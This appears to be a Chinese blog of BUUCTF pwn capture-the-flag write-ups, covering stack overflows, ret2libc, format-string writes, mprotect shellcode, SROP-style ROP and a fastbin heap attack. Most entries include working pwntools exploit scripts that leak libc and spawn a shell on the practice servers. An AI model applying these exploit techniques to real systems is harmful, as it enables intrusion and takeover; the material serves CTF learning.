buuctf(pwn)
胖胖
- pwn1_sctf_2016
- ciscn_2019_n_11
- 补充movss /ucomiss
- jarvisoj_level0
- ciscn_2019_c_1
- babyrop
- [第五空间2019 决赛]PWN5
- get_started_3dsctf_2016
- ciscn_2019_en_2
- 刮开有奖
- ciscn_2019_n_8
- not_the_same_3dsctf_2016
- bjdctf_2020_babystack
- [HarekazeCTF2019]baby_rop
- jarvisoj_level2_x64
- ciscn_2019_n_5
- ciscn_2019_ne_5
- others_shellcode
- 铁人三项(第五赛区)_2018_rop
- bjdctf_2020_babyrop
- babyheap_0ctf_2017(堆,fastbin_attack)
- pwn2_sctf_2016
- jarvisoj_fm
- ciscn_2019_s_3
- bjdctf_2020_babystack2
- [HarekazeCTF2019]baby_rop2
- ciscn_2019_es_2
- jarvisoj_tell_me_something
- jarvisoj_level3
- ez_pz_hackover_2016
实践是检验真理的唯一标准。
pwn1_sctf_2016
1.找到漏洞的利用点往往才是困难点。(直接F5看看反汇编)
发现两个可以函数跟进去看看
2.这里对反汇编出来的Vuln理解了半天(本还想从汇编直接分析,不过进展收获不大,欢迎有兴趣的朋友一起交流),下面还是从伪代码分析。
通过这几行能看出最后A变成了B。即把YOU 换成了I。
因为上面是S的溢出点是3C,可fgets之读取了32并不会超过3C,但函数会把一个32个I换成32个YOU就达到了溢出点。
3.ret位置
4.分析结束。2021.4.2
ciscn_2019_n_11
1.找利用点
11.28125对应内存中16进制两种查看方法。
一,
二,明显的if…else反汇编代码
CS:DWORD 4007F4即比较内容11.28125在内存中十六进制的存放
补充movss /ucomiss
movss相关的引入:
SSE – Streaming SIMD Extension,是Intel从PIII开始加入的一种x86扩展指令集。在SSE以前,x86的浮点运算都是以栈式FPU完成的,有一定x86汇编经验的人应该不会对那些复杂的fld、fst指令陌生吧。而SSE一方面让浮点运算可以像整数运算的模式、如 add eax , ebx 那样通过直接访问寄存器完成,绕开了讨厌的栈,另一方面引入了SIMD这个概念。SIMD – Single Instruction Multiply Data,顾名思义,它可以同时让一条指令在多个数据上执行,这种体系结构在一度在大型机上非常流行,需要经常进行海量运算的大型机器通常会通过一个数学SIMD虚拟机加快处理速度,比如同时让一组数据执行一个变换,数据的规模有上百万之巨,而SIMD则可以优化数据的存储与运算,减免某些切换Context的开销。
- movss单精度赋值,movsd双精度赋值,而且不再是st0, st1,…,而是XMM0-XMM7。
扩展参考:
寄存器介绍
汇编浮点指令fld、fstp - ucomiss
SSE扩展
参考应该都在intel Ⅲ里面,想详细了解的可自行查看手册。
2.溢出距离
3.完。2021.4.3
jarvisoj_level0
1.溢出栈空间
2.ret函数
from pwn import *
sh = remote('node3.buuoj.cn',29622)payload = b'a'* 0x80 + p64(0xdeadbeef) + p64(0x400596)
sh.send(payload)
sh.interactive()
3.完。2021.4.4
ciscn_2019_c_1
1.先看看程序运行过程
2.没有已存在的可直接获得bash的函数
3.64位调用传参顺序
寄存器rdi,rsi,rdx,rcd,r8,r9。
4.泄露puts函数,通过libc构造system系统调用。
5.关于64位system调用对齐问题。
参考1
参考2
6.exp
from pwn import *
from LibcSearcher import *content = 0
context(os='linux', arch='amd64', log_level='debug')ret = 0x4006b9 #靶机是ubuntu,所以需要栈平衡
elf = ELF('./demo2')puts_plt = elf.plt["puts"]
puts_got = elf.got['puts']
main_addr = elf.symbols["main"]pop_rdi_ret = 0x400c83 #×64程序基本都存在的一个地址pop rdi;retdef main():if content == 1:p = process('demo2')else: p = remote('node3.buuoj.cn',27986)payload = b'a' * (0x50 + 8)payload = payload + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)p.sendlineafter('Input your choice!\n', '1')p.sendlineafter('Input your Plaintext to be encrypted\n', payload)p.recvuntil('Ciphertext\n') p.recvline()puts_addr = u64(p.recv(7)[:-1].ljust(8,b'\x00'))print(puts_addr) #找出puts的地址libc = LibcSearcher('puts', puts_addr)libc_base = puts_addr - libc.dump('puts') #找出函数地址偏移量system_addr = libc_base + libc.dump('system') #计算出system的在程序中的地址binsh_addr = libc_base + libc.dump('str_bin_sh') payload = b'a' * (0x50 + 8)payload = payload + p64(ret) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)p.sendlineafter('Input your choice!\n', '1')p.sendlineafter('Input your Plaintext to be encrypted\n', payload)p.interactive()main()
7.环境问题flag不知道怎么没出来(地址已经泄露出来了)。有知道怎么解决的教教孩子吧!!
8.补充:
exp里面指定libc ,加上libc = ELF(’./libc.xxx’)获得flag成功。
完。2021/4/5-6
babyrop
1.流程分析
2.找到溢出点
3.绕过比较
4.exp
from pwn import *
from LibcSearcher import *
#p = process('./pwn')
elf=ELF('./pwn')
p = remote('node3.buuoj.cn',27069)libc = ELF('./libc-2.23.so') //指定libc
put_plt=elf.plt['puts']put_got=elf.got['puts']main_addr=0x8048825payload='\x00'+'a'*6+'\xff' //关键绕过p.sendline(payload)p.recvuntil('Correct\n')payload1 = 'a'*0xe7+'a'*4+p32(put_plt)+p32(main_addr)+p32(put_got)p.sendline(payload1)put_addr = u32(p.recv(4))
print hex(put_addr)
libc=LibcSearcher('puts',put_addr)libc_base=put_addr-libc.dump('puts')system_addr=libc_base+libc.dump('system')bin_sh_addr=libc_base+libc.dump('str_bin_sh')p.sendline(payload)p.recvuntil('Correct\n')payload2='a'*0xe7+'b'*0x4payload2 += p32(system_addr)*2+p32(bin_sh_addr)p.sendline(payload2)p.interactive()
[第五空间2019 决赛]PWN5
1.IDA查看
2.熟悉流程
3.
from pwn import *
#p = process('./pwn5')
p = remote('node3.buuoj.cn',25392)
payload = p32(0x804c044)+ b'%10$n'
p.recvuntil('your name:')
p.sendline(payload)p.recvuntil('passwd:')
p.sendline(b'4')
p.interactive()
get_started_3dsctf_2016
2.
3.参考
三种EXP方法
ciscn_2019_en_2
请参考ciscn_2019_c_1,完全一样。
刮开有奖
它没让我刮开,hhh。
1.2.
放到C里面跑下,得出新值
3CEHJNSZagn
即V7后面的10个数
base64标志
4.逆推得出flag
str[0] = ‘3’+34=‘U’
str[1] =‘J’
str[2] = ‘W’
str[3] = ‘P’
总过flag8位
得出
flag{UJWP1jMp}
ciscn_2019_n_8
1.基操
2.QWORD 8字节
3.exp
from pwn import *
sh = remote('node3.buuoj.cn',28951)
#sh = process('./cisn8')payload = b'a'*13*4 + p64(0x11) #0x11=17
sh.sendline(payload)
sh.interactive()
not_the_same_3dsctf_2016
1.IDA找到了相关flag函数
2.利用mprotect函数mprotect函数详解
exp如下:
from pwn import *#p=process('./pwn')elf=ELF('./not')p=remote('node3.buuoj.cn',25316)mprotect_addr=elf.sym["mprotect"]read_plt=elf.sym["read"]pop_3_ret=0x0809e3e5pop_ret=0x08048b0bm_start=0x080ec000bss= 0x80ECA2Dlen=0x2000prot=7payload_1="a"*45+p32(mprotect_addr)+p32(pop_3_ret)+p32(m_start)+p32(len)+p32(prot)payload_1+=p32(read_plt)+p32(bss+0x400)+p32(0)+p32(bss+0x400)+p32(0x100)p.sendline(payload_1)payload_2=asm(shellcraft.sh(),arch = 'i386', os = 'linux')p.sendline(payload_2)
bjdctf_2020_babystack
from pwn import *#p=process('./bjd')p=remote('node3.buuoj.cn',28431)sys_addr=0x4006E6payload='a'*24+p64(sys_addr)p.recvuntil("Please input the length of your name:")p.sendline(str(len(payload)))p.recvuntil("What's u name?")p.sendline(payload)p.interactive()
[HarekazeCTF2019]baby_rop
from pwn import *from LibcSearcher import LibcSearcher#p=process('./babyrop2')p=remote('node3.buuoj.cn',25002)elf=ELF('./babyrop2')read_got=elf.got['read']printf_plt=elf.plt['printf']main_addr=elf.sym['main']format_addr=0x400770payload='a'*40+p64(0x400733)+p64(format_addr)+p64(0x400731)+p64(read_got)+p64(0)payload+=p64(printf_plt)+p64(main_addr)p.sendlineafter("name?",payload)p.recvuntil('!\n')read_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))libc=LibcSearcher("read",read_addr)libc_base=read_addr-libc.dump('read')sys_addr=libc_base+libc.dump("system")binsh_addr=libc_base+libc.dump("str_bin_sh")payload2='a'*40+p64(0x400733)+p64(binsh_addr)+p64(sys_addr)+p64(0)p.sendline(payload2)p.interactive()
jarvisoj_level2_x64
1,IDA F5
2,搜索SHIFT+F12字符串
3,溢出点
4,构造payload(64位传参方式)
5.exp
from pwn import *
p = remote("node4.buuoj.cn",25087)
sys_addr = 0x40063E
bin_sh = 0x600A90
pop_edi_ret =0x4006b3
payload = 0x88*'a'+p64(pop_edi_ret) + p64(bin_sh) + p64(sys_addr)p.sendline(payload)
p.interactive()
ciscn_2019_n_5
1,查看文件
2,IDA查看
两次输入,read,gets获取用户输入。
3,name在bss段,gets控制流程跳转值read输入的shellcode。
text离ret偏移0x28。
4,exp(标准模板样式)
from pwn import *
from LibcSearcher import * local_file = './ciscn_2019_n_5'
local_libc = '/usr/lib/x86_64-linux-gnu/libc-2.29.so'
remote_libc = './libc.so.6'select = 1if select == 0:r = process(local_file)libc = ELF(local_libc)
else:r = remote('node4.buuoj.cn', 28983)#libc = ELF(remote_libc)elf = ELF(local_file)context.log_level = 'debug'
context.arch = elf.archse = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr :r.info(tag + ': {:#x}'.format(addr))def debug(cmd=''):gdb.attach(r,cmd)sh = asm(shellcraft.sh())
p1 = sh
sla('name\n', p1)
name_addr = 0x601080
p2 = flat(['a'*0x28, name_addr])
sla('me?\n', p2)r.interactive()
ciscn_2019_ne_5
1,标配查看文件
2,IDA/运行
溢出位置
src来源(128字节)
3,找bin_sh有sh也行。
ROPgadget --binary ciscn_2019_ne_5 --string "sh"
4.exp
from pwn import *r=remote('node4.buuoj.cn',29028)sh = 0x080482ea
system=0x080484d0r.sendlineafter('password:','administrator')
r.sendlineafter(':','1') //写入payload
payload = 'a'*0x48 +p32(0xdeadbeef)+p32(system)+p32(0xdeadbeef)+p32(sh)
r.sendlineafter('info',payload)
r.sendlineafter(':','4')r.interactive()
others_shellcode
nc 就有…
铁人三项(第五赛区)_2018_rop
1,直接进IDA,一道典型ret2libc题(思路简单,不过LibcSearcher不太好用,这里介绍利用pwntools的DynELF)
无system,binsh。
有write和溢出的位置。
2.exp
from pwn import *
r=remote('node4.buuoj.cn',26124)e=ELF('./2018_rop')
write_plt=e.plt['write']
read_plt=e.plt['read']
main_addr=e.symbols['main']
bss_addr=e.symbols['__bss_start']
def leak(address):payload1='a'*(0x88+0x4)+p32(write_plt)+p32(main_addr)+p32(0x1)+p32(address)+p32(0x4)r.sendline(payload1)leak_address=r.recv(4)return leak_addressd=DynELF(leak,elf=ELF('./2018_rop')) //pwntool自带
sys_addr=d.lookup('system','libc')payload2='a'*(0x88+0x4)+p32(read_plt)+p32(main_addr)+p32(0x0)+p32(bss_addr)+p32(0x8)
r.sendline(payload2)
r.sendline('/bin/sh')payload3='a'*(0x88+0x4)+p32(sys_addr)+p32(main_addr)+p32(bss_addr)
r.sendline(payload3)
题外话:假如手动调试,暴露出got,然后得出libcbase的后三位要是000才是正确的基址(页对齐)。
bjdctf_2020_babyrop
1,还是一道rop的题目,思路同上,IDA里面没有可直接利用的system等。
可溢出的点
2,64位的软件,传参不同,ROPgadget找pop rid,构造exp如下
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
r=remote('node4.buuoj.cn',26505)
#r=process('./babyrop')
elf=ELF('./babyrop')
main=elf.sym['main']
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
pop_rdi=0x400733
payload='a'*(0x20+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
r.recvuntil('Pull up your sword and tell me u story!')
r.sendline(payload)
r.recv()
puts_addr=u64(r.recv(6).ljust(8,'\x00'))
print hex(puts_addr)
libc=LibcSearcher('puts',puts_addr)
offset=puts_addr-libc.dump('puts')
system=offset+libc.dump('system')
bin_sh=offset+libc.dump('str_bin_sh')
payload2='a'*40+p64(pop_rdi)+p64(bin_sh)+p64(system)
r.recvuntil('Pull up your sword and tell me u story!')
r.sendline(payload2)r.interactive()
本想用pwntools的DynELF模块做的,没成功,有知道的大师傅,可以交流交流。(已了解到的好像是PUTS会被00截断导致模块利用不成功)
babyheap_0ctf_2017(堆,fastbin_attack)
1,运行一遍,基本的堆题流程。
2,分析关键代码(等会我们调试时在内存中查看):
分配的大小不能超过 4096 字节
- *(24LL * i + a1):置 1 表示 chunk 已经创建
- *(a1 + 24LL * i + 8):存储 chunk 的大小
- *(a1 + 24LL * i + 16):存储 chunk 的地址
利用思路:
两次 double free 与 fastbin attack 。第一次先泄露 libc 地址,然后找到构造 fack chunk 的地址。第二次通过构造的 fack chunk 堆溢出覆写 __malloc_hook 完成 get shell 。
泄露原理:
unsortbin 有一个特性,就是如果 usortbin 只有一个 bin ,它的 fd 和 bk 指针会指向同一个地址(unsorted bin 链表的头部),这个地址为 main_arena + 0x58 ,而且 main_arena 又相对 libc 固定偏移 0x3c4b20 ,所以得到这个fd的值,然后减去0x58再减去main_arena相对于libc的固定偏移,即得到libc的基地址。所以我们需要把 chunk 改成大于 fastbin 的大小,这样 free 后能进入 unsortbin 让我们能够泄露 libc 基址。
清楚理解:free chunk 和 allocated chunk时候。(两个chunk同一个地址,不同状态部分区域表示不同)
3,调试分析
3.1查看堆空间chunk结构
可以看出0x5628…10/30/50等是上述 *(a1 + 24LL * i + 16):存储 chunk 的地址
,利用gdb中的find
去查看相关mapped,并查看内存地址处内容。
发现正好对应allocated chunk的结构处地址。(这里也正是利用处,进行篡改内容)
3.2,同过free()使fastbin[]获得内容回收,然后fill()改变指针指向
再看一看这地址:
注意:
每次这mapped的映射地址会变,但内容结构还是
- *(24LL * i + a1):置 1 表示 chunk 已经创建
- *(a1 + 24LL * i + 8):存储 chunk 的大小
- *(a1 + 24LL * i + 16):存储 chunk 的地址
通过fill()进行修改*(a1 + 24LL * i + 16)处存的内容,即mem指向
处,达到通过fill()改变chunk的结构中的内容。
3.3修改内容
此时的fastbin[0]->index2->index4
跟预测的一样,这里3
和p8
通过结构的布局应该很容易理解了。
3.4把 chunk 2 的内容覆盖为 chunk 4 的地址,这样相当于 chunk 4 已经被 free 了而且被存放在 fastbin 中。(当chunk 4 被free了依然能通过chunk2 对 chunk4操作)。
简单理解:
当前chunk2和chunk4指向同一个位置
注:
这里还有个检查机制,要 malloc 回 chunk 4(重新fill()函数对chunk4大小内容修改,使其free()进unsort) ,可是 malloc fastbin 有检查, chunksize 必须与相应的 fastbin_index 匹配,所以我们覆盖 chunk 4 的 size 为 fastbin 大小。
3.5后面就是利用泄露出来的libc,同时一样控制修改流程,实现系统调用了。
目标是覆盖 __malloc_hook 函数,这样我们调用 malloc 时就相当于调用我们写入的内容。
后面可以参考(修改方式跟上面一样的):
https://www.cnblogs.com/luoleqi/p/12349714.html
下面这位置偏移就纯靠经验积累了(还是构造出上面结构:)
- *(24LL * i + a1):置 1 表示 chunk 已经创建
- *(a1 + 24LL * i + 8):存储 chunk 的大小
- *(a1 + 24LL * i + 16):存储 chunk 的地址
然后,把 chunk 4 malloc 回来,这次 malloc 的大小在 fastbin 之内,然后把 chunk 4 的内容改为我们下一个要构造块的地址(chunk 4 已经被 free 掉,所以无法用 fill(4) 写入,由于我们刚刚把 chunk 2 的 fd 指针改为 chunk 4 的地址,所以第一次 malloc(0x10) 的时候是分配的原来 chunk 2 的块给 index 1,第二次 malloc(0x10) 的时候就会分配 chunk 4 的块给 index 2,也就是说 index 2 与 index 4 的内容都是 chunk 4)。
在 __malloc_hook 地址处写入 one_gadget ,这样再次 allocate 就可以调用 one_gadget 拿 shell(相当于指针函数去实现调用)
注:
malloc_hook 是一个libc上的函数指针,调用malloc时如果该指针不为空则执行它指向的函数,可以通过写malloc_hook来getshell
4,完整exp
from pwn import *#p=remote('node4.buuoj.cn',29926)p=process('./babyheap_0ctf_2017')def allocate(size):p.recvuntil('Command: ')p.sendline('1')p.recvuntil('Size: ')p.sendline(str(size))def fill(idx,content):p.recvuntil('Command: ')p.sendline('2')p.recvuntil('Index: ')p.sendline(str(idx))p.recvuntil('Size: ')p.sendline(str(len(content)))p.recvuntil('Content: ')p.send(content)def free(idx):p.recvuntil('Command: ')p.sendline('3')p.recvuntil('Index: ')p.sendline(str(idx))def dump(idx):p.recvuntil('Command: ')p.sendline('4')p.recvuntil('Index: ')p.sendline(str(idx))p.recvline()return p.recvline()allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x80)#gdb.attach(p)free(1)
free(2)#gdb.attach(p)
payload = p64(0) * 3
payload += p64(0x21)
payload += p64(0) * 3
payload += p64(0x21)
payload += p8(0x80)
fill(0,payload)#gdb.attach(p)payload = p64(0) * 3
payload += p64(0x21)
fill(3,payload)#gdb.attach(p)allocate(0x10)
allocate(0x10)
fill(1,'aaaa')
fill(2,'bbbb')
payload = p64(0) * 3
payload += p64(0x91)
fill(3,payload)
allocate(0x80)
free(4)libc_base = u64(dump(2)[:8].strip().ljust(8, "\x00"))-0x3c4b78
log.info("libc_base: "+hex(libc_base))allocate(0x60)
free(4)
payload = p64(libc_base+0x3c4aed)
fill(2, payload)allocate(0x60)
allocate(0x60)payload = p8(0)*3
payload += p64(0)*2
payload += p64(libc_base+0x4526a)
fill(6, payload)gdb.attach(p)allocate(255)p.interactive()
pwn2_sctf_2016
1,int转unsigned int 大数变小数导致溢出
接收的输入是int,而下面判断的长度是unsigned int。
2,溢出位置
3,exp
from pwn import *
from LibcSearcher import *r = remote("node4.buuoj.cn", 27654)
#r = process("./pwn2_sctf_2016")
elf = ELF("./pwn2_sctf_2016")
printf_plt = elf.plt['printf']
printf_got = elf.got['printf']
main = 0x080485B8
print r.recvuntil("How many bytes do you want me to read? ")
r.sendline('-1')
print r.recvuntil('\n')
payload = 'a' * 0x30 + p32(printf_plt) + p32(main) + p32(printf_got)
r.sendline(payload)print r.recvuntil('\n')
printf_addr = u32(r.recv(4))
print "printf:", hex(printf_addr)
libc = LibcSearcher('printf', printf_addr)
libc_base = printf_addr - libc.dump('printf')
system = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
print "system:", hex(system)
print "bin_sh", hex(bin_sh)
print r.recvuntil("How many bytes do you want me to read? ")
r.sendline('-1')
print r.recvuntil('\n')
payload = 'a' * 0x30 + p32(system) + p32(main) + p32(bin_sh)
r.sendline(payload)
r.interactive()1,0-1 顶端
jarvisoj_fm
1,格式化字符串利用,实现内存写入。
2,x == 4即可进入system调用。
实际运行X的值是3:
3,确认输入参数格式化字符串
的位置,需要利用此处重新填入修改x的地址(即0x0804A02C)。
确认方法:
输入:aaaa%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p
回显:
然后,数0x61616161是第几个0x位置。 得出是11。
注:
aaaa即你要魔改的地方,填入x的位置的地址,然后利用%n的功能,修改此处的值。
4,exp
from pwn import *
p = remote("node4.buuoj.cn",28781)
x_addr=0x0804A02C
print hex(x_addr)
payload = p32(x_addr) + '%11$n' #p32()得出的4字节大小被写入p32(x_addr)地址,也就是确定0x61616161位置的原因。
p.sendline(payload)
p.interactive()
ciscn_2019_s_3
1,一道__libc_csu_init辅助构造ROP。(也可以用SROP方法)
需要利用的位置。
2,两个可以利用的系统调用号。
15 sys_rt_sigreturn
59 sys_execve(两者选一个利用便可)
3,构造思路(这题是x64的传参方式)xor rax , rax --------------->将rax寄存器里的值设置为了0(任何一个数异或它本身都等于0)mov edx , 400h ------------->将edx寄存器的值设置为了0x400lea rsi , [rsp+buf] ----------->将buf参数的地址传入寄存器rsimov rdi ,rax --------------->将rax寄存器里的值(0)传入rdi寄存器(将rdi设置为0)syscall------------------------->进行系统调用
4,利用write会泄露栈上的地址,我们需要根据泄露的地址来参考构造缓存区buff的偏移地址。(关键)
gdb调试技巧:
- 首先必须清楚内存数据布局:
局部变量往高
地址输入
和打印输出
- pwndbg stack查看rsp上面的栈分布:
pwndbg的stack指令直接看到的就是rsp下面的栈分布,这个时候应该怎么办呢?以前学过用pwndbg给地址和寄存器赋值,代码是:
Set *addr = value //给地址赋值Set $rsp = value //给寄存器赋值
1>gdb 断在0x400519位置处
2>此时栈顶rsp是write调用完,未指向buff的地址处。
利用小技巧,向上查看栈数据:
发现我们输入的aaaa出现,惊不惊喜,意不意外,哈哈哈其实都在预料之内。
0x7fffffffdcd0即为buff[]起始地址位置。
出现了两个栈上地址。
排除0x7fffffffdd00,原因:
内存数据布局,往高地址输出,0x7fffffffdd00<0x7fffffffdcd0(buff起始地址)。
得出偏移 = 0x7fffffffdde8 - 0x7fffffffdcd0 = 0x118
为什么需要知道这个offset呢?
通过动态获取的buff起始地址在别的环境可能会由于随机化问题发生变法,但是offset是固定不变的。
5,exp
from pwn import *#p=process('./ciscn_s_3')
p=remote('node4.buuoj.cn',28377 )
context.log_level = 'debug'vlu=0x0004004ED
execv=0x04004E2
pop_rdi=0x4005a3
pop_rbx_rbp_r12_r13_r14_r15=0x40059A
mov_rdxr13_call=0x0400580
syscall=0x00400517payload='/bin/sh\x00'*2+p64(vlu)
p.send(payload)
#gdb.attach(p)p.recv(0x20) #接收write前0x20个字节
sh=u64(p.recv(8))-280 #接收leak地址,通过offset得出buff起始地址
print(hex(sh))pl2='/bin/sh\x00'*2+p64(pop_rbx_rbp_r12_r13_r14_r15)+p64(0)*2+p64(sh+0x58) + p64(0) *3
pl2+=p64(mov_rdxr13_call)+p64(execv) #sh+0x58 下附说明
pl2+=p64(pop_rdi)+p64(sh)+p64(syscall)
p.send(pl2)p.interactive()
说明:
bjdctf_2020_babystack2
思路:整型溢出
qword -> dword + 栈溢出
1,IDA分析
执行程序可获知if判断:
system可利用:
2,exp
from pwn import *#p = process('./bjdctf_2020_babystack2')
p = remote("node4.buuoj.cn",26101)
context.log_level='debug'
system = 0x0400726
p.recv()
p.sendline('-1')
p.recv()
payload = 'a'*0x10 + 'bbbbbbbb' + p64(system)
p.send(payload)
p.interactive()
[HarekazeCTF2019]baby_rop2
栈溢出
+泄露libc地址调用system
1,64位程序,IDA分析
2,寻找64位传参rdi,rsi寄存器,构造rop链。
选取下面这两个位置的:
3,泄露read_got的地址。
然后再次构造payload 调用system(bin_sh)。
4,exp
from pwn import *
from LibcSearcher import *context_debug_level = 'debug'r = remote("node4.buuoj.cn", 28443)
#r = process("./babyrop2")
elf = ELF("./babyrop2")
#libc = ELF("./libc.so.6")
printf_plt = elf.plt['printf']
read_got = elf.got['read']
main = elf.sym['main']pop_rdi_ret = 0x400733
pop_rsi_r15_ret = 0x400731
frm_str = 0x400770payload = 'a'*0x28 + p64(pop_rdi_ret) + p64(frm_str) + p64(pop_rsi_r15_ret) + p64(read_got) + p64(0) + p64(printf_plt) + p64(main)print r.recvuntil("name? ")
r.sendline(payload)
read_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00')) print hex(read_addr)
libc = LibcSearcher('read', read_addr)
libc_base = read_addr - libc.dump('read')
system = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
print "system:", hex(system)
print "bin_sh", hex(bin_sh)payload = 'a' * 0x28 + p64(pop_rdi_ret) + p64(bin_sh) + p64(system)
r.sendline(payload)
r.interactive()
注解:
read_addr = u64(r.recvuntil(’\x7f’)[-6:].ljust(8,’\x00’))
直到7f出现的位置作为终点,开始往前读6个字节数据,然后再8字节对齐,不足8位补\x00。
ciscn_2019_es_2
栈迁移考察
https://www.cnblogs.com/remon535/p/13507217.html
注:
1、read大小为0x30,s变量和ebp距离为0x28。只能覆盖ebp和ret,但是覆盖不到需要构造的/bin/sh参数
,所以实际需要0x30+8。
其中多需要的8=deadbeef(填充的ret) + arg(/bin/sh)
2、首先利用printf获取上个栈帧的ebp。printf遇到00就会截断,把00填充了,printf就会顺便把ebp及遇到00前的数据都打印出来。
3、0x48-0x10等于s距ebp的偏移0x38
4、payload2=‘a’*4+p32(sys)+p32(0xdeadbeef)+p32(ebp-0x28)+"/bin/sh"。
p32(ebp-0x28)+"/bin/sh"
p32(ebp-0x28):本来是/bin/sh的地址,但是程序中没有/bin/sh字符串存在,所以需要指向 ebp-0x28 =s的地址,后面就是输入的"/bin/sh"了。
jarvisoj_tell_me_something
注意下函数首部的代码与常见的方法不同,说到底还是多看汇编,少F5。
https://www.cnblogs.com/bhxdn/p/12307105.html
jarvisoj_level3
ret2libc3 无system,无binsh
https://www.cnblogs.com/yisicanmeng/articles/14579554.html
ez_pz_hackover_2016
ret2shellcode(没有任何写保护,具有可执行权限)
https://blog.csdn.net/mcmuyanga/article/details/108964698
1,绕过strcmp()
2,
0x38-0x22=0x16
‘a’*(0x16-8+4)
gdb动态调一下,IDA不准
3,
p32(stack-0x1c)
buuctf(pwn)相关推荐
- 攻防世界(PWN)forgot
感觉有些wp写的不是特别详细,当时我看的时候有的地方也是看不太懂... 先拖进ida中看一下: 找到溢出点,因为我们分配给了v2 32byte的内存,但是scanf不限制长度,所以这里可以溢出. 第8 ...
- buuctf——(SUCTF2019)SignIn
1.查壳. 无壳,64位文件. 2.丢到IDA中反编译. 3.分析代码.最后是比较v6和v7 关键是_gmpz_powm这个函数 网搜了下,发现都是英文(枯了枯了),就求助了一下大佬. 这个函数和__ ...
- (攻防世界)(pwn)forgot
这题我也是想了好久啊,实在是没找到什么办法,后来还是把题目给摸透了根据经验一个个试出来的方法!!! 拿到题目下载附件查看保护: 只开了NX,嗯... 进入IDA,----惊了,这个是啥子意思??? 一 ...
- (jarvisoj)(pwn)guestbook2/level6_x64
guestbook2和level6_x64真的是一摸一样的,两个题目除了提示文字不同,其他的漏洞根本一样,鉴于jarvisoj中的pwn服务器比pwn2服务器要稳定一点,所以这里就写guestbook ...
- (攻防世界)(pwn)welpwn
首先,放在最前面:这题服务器远端的libc版本是libc-2.23.so而不是libc-2.19.so的版本(害得我编译半天出不来) 看到题目,我们下载附件,一看是个tar.gz文件,我们解压一下,发 ...
- (攻防世界)(pwn)babyfengshui
入门级的堆题,拿来学习还是不错的. 做这道题之前,最好还是先对堆的数据结构有一定的了解. 拿到题目,下载附件,查看保护. 一个32位的程序,开了NX和Canary保护,这都不是重头戏毕竟这题不用栈,栈 ...
- 持续更新 BUUCTF——PWN(二)
文章目录 前言 0ctf_2017_babyheap ciscn_2019_s_9 hitcon2014_stkof roarctf_2019_easy_pwn picoctf_2018_shellc ...
- 持续更新 BUUCTF——PWN(一)
文章目录 前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...
- BUUCTF VN2020 公开赛 Misc(复现)
BUUCTF V&N2020 公开赛 Misc(复现) 真·签到 拉胯的三条命令 ML 第一步 内存取证 Final Game 真·签到 CV大法题 Flag:flag{welcome_to_ ...
最新文章
- core data 学习笔记
- 你需要的不是重构,而是理清业务逻辑(转)
- Just another board game 博弈-vector套vector
- Zookeeper_简介
- javascript-操作符
- 【安卓开发 】Android初级开发(零)各种布局
- MSP432P401R TI Drivers 库函数学习笔记(一)导入工程模板
- ElasticSearch入门篇
- 课后作业一 小九九 课后作业二 任意一个数在此范围被七整除的个数...
- 华为STP相关功能配置
- Python工程师面试题目
- java组件技术考试题_Java核心技术2020年春答案试题题目及答案,期末考试题库,章节测验答案...
- Saliency Detection: A Spectral Residual Approach
- RecyclerView实现横向滚动
- 0 upgraded, 0 newly installed, 0 to remove and 6 not upgraded解决方法
- Linux下查看SSD硬盘型号、大小等信息
- shiro加盐走源码
- python正则表达式介绍
- 维基解密披露CIA Grasshopper远程木马套件 Windows预安装环境、Carberp财务恶意软件的计算机驻留方法都用上了...
- 关于使用C#WInform编程时两个窗口互操作的方法
热门文章
- go语言入门-1 环境搭建
- 2017无忧题库计算机一级,[2017年整理]计算机二级vf无忧题库第90道.ppt
- 第11篇 web3.js - Ethereum JavaScript API(eth)
- C#中的委托是什么?事件是不是一种委托?事件和委托的关系。
- Flume四:多路复用(ChannelSelector之Multiplexing)+自定义拦截器
- 微信小程序python flask_Python Flask 搭建微信小程序后台详解
- 数据结构与算法(四)-双向链表(DoublyLinkedList)
- Microsoft Expression Blend 4 激活码
- mac下设置通过别名ssh登录远程服务器
- oracle数据库巡检内容